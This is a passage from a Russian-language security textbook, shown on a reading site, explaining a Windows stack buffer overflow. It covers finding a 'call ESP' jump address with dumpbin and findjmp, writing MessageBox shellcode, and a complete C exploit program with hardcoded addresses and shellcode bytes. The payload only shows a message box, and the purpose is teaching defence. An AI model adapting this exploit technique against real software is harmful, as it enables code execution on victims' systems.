Чтение онлайн

ЖАНРЫ

Защита от хакеров корпоративных сетей

авторов Коллектив

Шрифт:

Перед командой ret регистр ESP указывает на область в стеке, расположенную следом за областью сохранения содержимого регистра EIP. После того как команда ret продвинет содержимое регистра ESP на 4, он станет указывать на область памяти, из которой этой же командой ret будет восстановлено значение регистра EIP. После восстановления EIP процессор выполнит команду, адрес которой совпадает с содержимым регистра EIP. Это означает, что если с помощью регистра ESP в EIP будет загружен нужный адрес, то с него продолжится выполнение программы. Отметим также, что после восстановления регистра EBP в эпилоге функции в регистр было загружено 4 байта заполнителя буфера 0x90.

Теперь найдем в выполнимом коде уязвимой программы команды, которые позволили бы с помощью регистра ESP загрузить нужный адрес в регистр EIP. Для этого воспользуемся программой findjmp. Для большей эффективности поиска потенциально уязвимых частей кода рекомендуется определить импортированные в программу динамически подключаемые библиотеки DLL и исследовать их выполнимый код. Для этого можно воспользоваться входящей в состав Visual Studio программой depends.exe или утилитой dumpbin.exe.

Воспользуемся более простой
утилитой dumpbin, с помощью которой можно быстро получить всю интересующую нас информацию. Для этого в командной строке введем следующее:

dumpbin /imports samp4.exe

Microsoft (R) COFF Binary File Dumper Version 5.12.8078

Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

Dump of file samp4.exe

File Type: EXECUTABLE IMAGE

Section contains the following imports:

KERNEL32.dll

426148 Import Address Table

426028 Import Name Table

0 time date stamp

0 Index of first forwarder reference

26D SetHandleCount

174 GetVersion

7D ExitProcess

1B8 IsBadWritePtr

1B5 IsBadReadPtr

1A7 HeapValidate

11A GetLastError

1B CloseHandle

51 DebugBreak

152 GetStdHandle

2DF WriteFile

1AD InterlockedDecrement

1F5 OutputDebugStringA

13E GetProcAddress

1C2 LoadLibraryA

1B0 InterlockedIncrement

124 GetModuleFileNameA

218 ReadFile

29E TerminateProcess

F7 GetCurrentProcess

2AD UnhandledExceptionFilter

B2 FreeEnvironmentStringsA

B3 FreeEnvironmentStringsW

2D2 WideCharToMultiByte

106 GetEnvironmentStrings

108 GetEnvironmentStringsW

CA GetCommandLineA

115 GetFileType

150 GetStartupInfoA

19D HeapDestroy

19B HeapCreate

19F HeapFree

2BF VirtualFree

22F RtlUnwind

199 HeapAlloc

1A2 HeapReAlloc

2BB VirtualAlloc

27C SetStdHandle

AA FlushFileBuffers

241 SetConsoleCtrlHandler

26A SetFilePointer

34 CreateFileA

BF GetCPInfo

B9 GetACP

131 GetOEMCP

1E4 MultiByteToWideChar

153 GetStringTypeA

156 GetStringTypeW

261 SetEndOfFile

1BF LCMapStringA

1C0 LCMapStringW

Summary

3000 .data

1000 .idata

2000 .rdata

1000 .reloc

20000 .text

В результате просмотра отчета работы утилиты dumpbin.exe выясняется, что в уязвимую программу samp4.exe встроена единственная динамически подключаемая библиотека DLL – kernel32.dll. Несмотря на многочисленные ссылки в библиотеке kernel32.dll на другие библиотеки, пока для поиска подходящей точки перехода достаточно kernel32.dll.

Поиск выполним с помощью программы findjmp, которая найдет в двоичном коде динамически подключаемой библиотеки kernel32.dll потенциальные точки перехода с использованием регистра ESP. Для этого вызовем программу findjmp следующим образом:

findjmp kernel32.dll ESP

Программа выдаст такой отчет:

Scanning kernel32.dll for code useable with the ESP register

0x77E8250A call ESP

Finished Scanning kernel32.dll for code useable with the ESP

register

Found 1 usable addresses

Подменив перед командой ret сохраненное в стеке значение регистра EIP на значение 0x77E8250A, по команде ret это значение (адрес команды call ESP) будет загружено в указатель команд EIP. Процессор выполнит команду call ESP, которая передаст управление по содержимому регистра ESP, то есть в область стека c программным кодом полезной нагрузки. В программе переполнения буфера адрес точки перехода определяется следующим образом:

DWORD EIP=0x77E8250A; // a pointer to a

//call ESP in KERNEL32.dll

//found with findjmp.c

После этого адрес записывается в буфер writeme после 12 байт заполнителя: memcpy(writeme+12,&EIP,4); //overwrite EIP here Запись программного кода полезной нагрузки. Наконец пришло время написать программный код полезной нагрузки и средства его загрузки. Поскольку он демонстрирует основные положения переполнения буфера, то код очень прост: программа выводит окно сообщений с приветствием «HI». Обычно рекомендуется написать прототип программного кода полезной нагрузки на языке C, а затем преобразовывать его в ассемблерный код. Прототип программного кода полезной нагрузки на языке C выводит окно сообщений с помощью функции MessageBox:

MessageBox (NULL, “hi”, NULL, MB_OK);

Для преобразования прототипа программного кода полезной нагрузки на языке C в код ассемблера воспользуемся дизассемблером или отладчиком. Прежде всего следует решить, как вызвать экспортируемую из динамически подключаемой библиотеки user32.dll функцию MessageBox. Нельзя надеяться на то, что библиотека user32.dll будет импортирована в уязвимую программу, поэтому следует предусмотреть ее загрузку с помощью функции LoadLibraryA. Функция LoadLibraryA используется на платформах Win32 для загрузки динамически подключаемых библиотек DLL в память процесса. Данная функция экспортируется из библиотеки kernel32.dll, которая уже связана с атакуемой программой. Об этом говорит отчет работы утилиты dumpbin. Итак, в прототипе программного кода полезной нагрузки на языке C сначала следует загрузить динамически подключаемую библиотеку user32.dll, а затем вызвать функцию MessageBox. После внесения необходимых дополнений прототип выглядит так:

LoadLibraryA(“User32”); MessageBox(NULL, “hi”, NULL, MB_OK);

Функция LoadLibraryA по умолчанию подразумевает расширение имени динамически подключаемой библиотеки «.dll», поэтому имя библиотеки user32.dll указано без расширения. Это позволит уменьшить размер программного кода полезной нагрузки на 4 байта.

Теперь вместе с программой будет загружена динамически подключаемая библиотека user32.dll, а значит, и код функции MessageBox. Тем самым будут обеспечены все функциональные возможности для успешной работы программного кода полезной нагрузки.

Последнее, на что следует обратить внимание. После передачи управления программному коду полезной нагрузки и его выполнения
атакованная программа, вероятнее всего, завершится аварийно, поскольку она попытается выполнить данные стека после кода полезной нагрузки. Это нехорошо. Поэтому процесс должен быть завершен функцией ExitProcess. В результате заключительный исходный текст прототипа программного кода полезной нагрузки на языке C перед преобразованием в код ассемблера приобретает следующий вид:

LoadLibraryA(“User32”);

MessageBox(NULL, “hi”, NULL, MB_OK);

ExitProcess(1);

Для преобразования прототипа программного кода полезной нагрузки на языке C в код ассемблера воспользуемся встроенным ассемблером компилятора Visual C, а затем перенесем результат трансляции в буфер BYTE.

Вместо того чтобы в этом месте привести пример соответствующего программного кода ассемблера, будет лучше, если читатель просмотрит приведенный ниже пример программы переполнения буфера, в которой создается файл, инициализируется заполнителем буфер, определяется точка перехода, в буфер записывается программный код полезной загрузки и, наконец, буфер выгружается в файл.

При желании перед записью программного кода полезной нагрузки в файл можно оттестировать его. Для этого следует убрать комментарии в части кода, отмеченного как тест. Это приведет к выполнению программного кода полезной нагрузки вместо записи его в файл.

Приведенная ниже программа была написана как пример программирования основных положений переполнения буфера. В ней использованы определенные символическими константами адреса используемых функций, поэтому она может не работать на системе, несовместимой с Win2k sp2.

Программа проста и непереносима. Для ее работы на других платформах следует заменить значения символических констант, определенных макросами #define, на правильные адреса используемых функций. Адреса можно узнать с помощью утилит Visual Studio depends.exe или dumpbin.exe.

Изюминка приведенной программы заключается в нестандартном использовании команды call. Нестандартное применение команды call позволяет загрузить в стек адрес строки символов, расположенной следом за командой call. Это позволяет не только включить данные в программный код, но и не требует знания адреса загрузки программного кода полезной нагрузки или смещений в управляющем коде.

Другими словами, команда call записывает в стек адрес следующей за ней строки, полагая, что записывает адрес команды, которая будет выполнена по завершении функции командой ret. Аналогичный прием был использован в программе переполнения буфера для Linux.

Для безошибочной трансляции программы компилятором Visual Studio при включении строки символов в программный код требуется использовать директиву _emit.

#include <Windows.h>

/*

Example NT Exploit

Ryan Permeh, ryan@eeye.com

*/

int main(int argc,char **argv)

{

#define MBOX 0x77E375D5

#define LL 0x77E8A254

#define EP 0x77E98F94

DWORD EIP=0x77E8250A; // a pointer to a

//call ESP in KERNEL32.dll

//found with findoffset.c

BYTE writeme[65]; //mass overflow holder

BYTE code[49] ={

0xE8, 0x07, 0x00, 0x00, 0x00, 0x55,

0x53, 0x45, 0x52, 0x33, 0x32, 0x00,

0xB8, 0x54, 0xA2, 0xE8, 0x77, 0xFF,

0xD0, 0x6A, 0x00, 0x6A, 0x00, 0xE8,

0x03, 0x00, 0x00, 0x00, 0x48, 0x49,

0x00, 0x6A, 0x00, 0xB8, 0xD5, 0x75,

0xE3, 0x77, 0xFF, 0xD0, 0x6A, 0x01,

0xB8, 0x94, 0x8F, 0xE9, 0x77, 0xFF,

0xD0

};

HANDLE file;

DWORD written;

/*

__asm

{

call tag1 ; jump over(trick push)

_emit 0x55 ; “USER32”,0x00

_emit 0x53

_emit 0x45

_emit 0x52

_emit 0x33

_emit 0x32

_emit 0x00

tag1:

// LoadLibrary(“USER32”);

mov EAX, LL ;put the LoadLibraryA

address in EAX

call EAX ;call LoadLibraryA

push 0 ;push MBOX_OK(4th arg to mbox)

push 0 ;push NULL(3rd arg to mbox)

call tag2 ; jump over(trick push)

_emit 0x48 ; “HI”,0x00

_emit 0x49

_emit 0x00

tag2:

push 0 ;push NULL(1st arg to mbox)

// MessageBox (NULL, “hi”, NULL, MB_OK);

mov EAX, MBOX ;put the MessageBox

address in EAX

call EAX ;Call MessageBox

push 1 ;push 1 (only arg

to exit)

// ExitProcess(1);

mov EAX, EP ; put the

ExitProcess address in EAX

call EAX ;call ExitProcess

}

*/

/*

char *i=code; //simple test code pointer

//this is to test the code

__asm

{

mov EAX, i

call EAX

}

*/

/* Our overflow string looks like this:

[0x90*12][EIP][code]

The 0x90(nop)’s overwrite the buffer, and the saved EBP on

the stack, and then EIP replaces the saved EIP on the stack.

The saved EIP is replaced with a jump address that points to

a call ESP. When call ESP executes, it executes our code

waiting in ESP.*/

memset(writeme,0x90,65); //set my local string to nops

memcpy(writeme+12,&EIP,4); //overwrite EIP here

memcpy(writeme+16,code,49); // copy the code into our

temp buf

//open the file

file=CreateFile(“badfile”,GENERIC_WRITE,0,NULL,

OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);

//write our shellcode to the file

WriteFile(file,writeme,65,&written,NULL);

CloseHandle(file);

//we’re done

return 1;

}

Современные способы переполнения буфера

После изучения обязательного минимума пришло время познакомиться с современными способами переполнения буфера. Одни из них применимы повсеместно, другие – в частных случаях. С течением времени злоумышленники узнают о переполнении буфера все больше, поэтому сегодня для успешной защиты от атак переполнения буфера необходимо знать изощренные способы извлечения из него пользы.

Фильтрация входных данных

Современные программисты, стремясь как можно лучше защититься от атак переполнения буфера, начинают создавать программы, которые перед записью входных данных в буфер проверяют, нет ли в них выполняемого программного кода. Подобные программы серьезно затрудняют деятельность злоумышленника, не позволяя ему запросто поместить злонамеренный код в программе. Большие неприятности сулят нулевые байты в буфере, поэтому современные программисты тщательно исследуют безопасность записываемых в буфер данных.

Способов анализа безопасности данных много, и каждый из них по-своему препятствует переполнению буфера.

Например, некоторые программисты проверяют значения входных данных. Если ожидается ввод чисел, то перед записью в буфер проверяется, является ли каждое введенное значение числом. В стандартной библиотеке языка C есть несколько функций, которые проверяют значение введенных данных. Ниже приведены некоторые из них для платформы Win32. Для работы в 16-битном стандарте кодирования символов Unicode существуют аналогичные функции проверки «широких» символов.

Поделиться с друзьями: